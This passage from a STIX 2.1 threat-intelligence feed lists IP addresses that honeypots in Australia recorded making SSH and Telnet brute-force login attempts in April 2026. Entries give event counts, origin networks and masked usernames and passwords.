      "id": "indicator--35b47793-e719-40b7-b5e1-2ffbafdf2cac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): r**t, u****u, f*****r, 3**********4, a***n. Passwords observed (masked): 1************5, 1****6, 1*****c, 3***********4, 3**********4.",
      "id": "indicator--5dd9bd0a-e142-4575-bce7-b5e42cbd2ec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.56.85.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 37119. Organisation(s): UNITEL. Usernames observed (masked): r**t. Passwords observed (masked): K***********4.",
      "id": "indicator--bf50f6b6-1199-4282-a6f6-0fe9da9b8e1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.174.17.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited.",
      "id": "indicator--142cc290-9c5e-4d03-803a-9d22107369f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.220.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): k***********#.",
      "id": "indicator--a7b98bca-5447-43ac-beb6-d5bfa9587956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.59.231.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LA. ASN(s): 131267. Organisation(s): Star Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1********h.",
      "id": "indicator--2288e057-5c6a-4f28-b837-222ca1315cbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.182.105.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): k**********3.",
      "id": "indicator--a6498b4a-29f7-48c7-a262-3d26b546c149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.213.27.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--73b06ea9-91f2-400f-902c-9f0e0baf4616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): K********1.",
      "id": "indicator--18bbb066-8a36-4b0b-b754-c0b6cf41cd7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.180.198.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24085. Organisation(s): Quang Trung Software City Development Company. Usernames observed (masked): r**t. Passwords observed (masked): k***********3.",
      "id": "indicator--a627436e-e3e2-4d3a-b576-3b62d4013abc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.2.86.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e1da0538-f3a2-4b3b-8bf5-22a8324fa7c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.173.129.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--afb84c0d-e4bd-4df5-a033-e903a9879c62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.6.54.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 2***********h.",
      "id": "indicator--da2cbb44-74b2-4bc7-ae07-dfcdfa31fa14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.227.159.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27823. Organisation(s): Dattatec.com. Usernames observed (masked): r**t. Passwords observed (masked): .***********h.",
      "id": "indicator--69e17abd-9e54-482f-b37d-9dfb701c16fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.97.42.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:15:03.000Z",
      "valid_until": "2026-05-12T15:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): c****s. Passwords observed (masked): I***********************5.",
      "id": "indicator--4e7d9023-75ba-4575-98f5-66377979adae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.234.19.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141584. Organisation(s): PT Jetorbit Teknologi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): K**********5.",
      "id": "indicator--c6b9db83-892a-4158-924c-a5f37ec5e9a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.160.37.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t. Passwords observed (masked): k***********$.",
      "id": "indicator--de010f65-a1c6-4da8-a612-429893fd978b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.32.77.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t. Passwords observed (masked): k***********@.",
      "id": "indicator--db662804-a412-43bb-b392-89c66e6941d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.169.35.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t. Passwords observed (masked): 1***********h.",
      "id": "indicator--a0087e46-816a-49f1-9634-c92361254980",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.225.255.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): .**********h.",
      "id": "indicator--0c43dedc-3a62-4467-895d-c29ce698432b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.44.120.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--16cf6192-9d3b-4ec8-912b-52872f3d4027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.47.57.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc.. Usernames observed (masked): r**t. Passwords observed (masked): k***********5.",
      "id": "indicator--113c36f7-0128-443b-bcec-9b06a8cabdd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.216.90.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K***********!.",
      "id": "indicator--4bbc3302-4a99-4143-a57c-da4361bdf604",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.23.160.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--aa71558f-5289-4d90-912b-dd662d667064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t. Passwords observed (masked): 1********h.",
      "id": "indicator--6cc31ec6-81b5-4194-a0b7-e9a26e915d88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '90.156.195.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 60246. Organisation(s): Consumer Internet Cooperative PG-19. Usernames observed (masked): r**t. Passwords observed (masked): K***********..",
      "id": "indicator--385df060-712a-4baf-9b0e-c072c3bd7d9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.174.97.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:15:05.000Z",
      "valid_until": "2026-05-12T16:15:02.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, s***m, 3**********4, o**o, f******1. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, 1**4.",
      "id": "indicator--47e6b742-1558-4791-b5fb-ebd9613ed256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.115.41.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): #***********h.",
      "id": "indicator--0802eaa1-becc-4a0a-a2dc-8ed8c1d4a625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.186.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--3e6f0ca7-8b69-46e6-b94c-c9f587c91f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.33.12.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--23755d93-ff84-47eb-adad-55edb5d630e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.202.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, a***n, d****y, f******r. Passwords observed (masked): 3***********4, 3**********4, 1******1, ***, 1***5.",
      "id": "indicator--33c48079-6e4f-42f5-ada3-5e4e1e644649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.125.70.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--a2a3dd58-e78d-4933-ab06-1bb939b1db19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.103.51.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t, 3**********4, o**o, f******1, ***. Passwords observed (masked): 3**********4, ***, 1****1, 3***********4, R*******!.",
      "id": "indicator--39a3bae8-9c01-48a5-826f-b21154568ae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '148.230.169.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): k***********4.",
      "id": "indicator--baa780f6-ed09-44a8-ace9-440d7a9e6864",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.146.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1***********h.",
      "id": "indicator--b58e7c44-f1c9-48d3-9982-aa2e95b7629e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.125.21.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
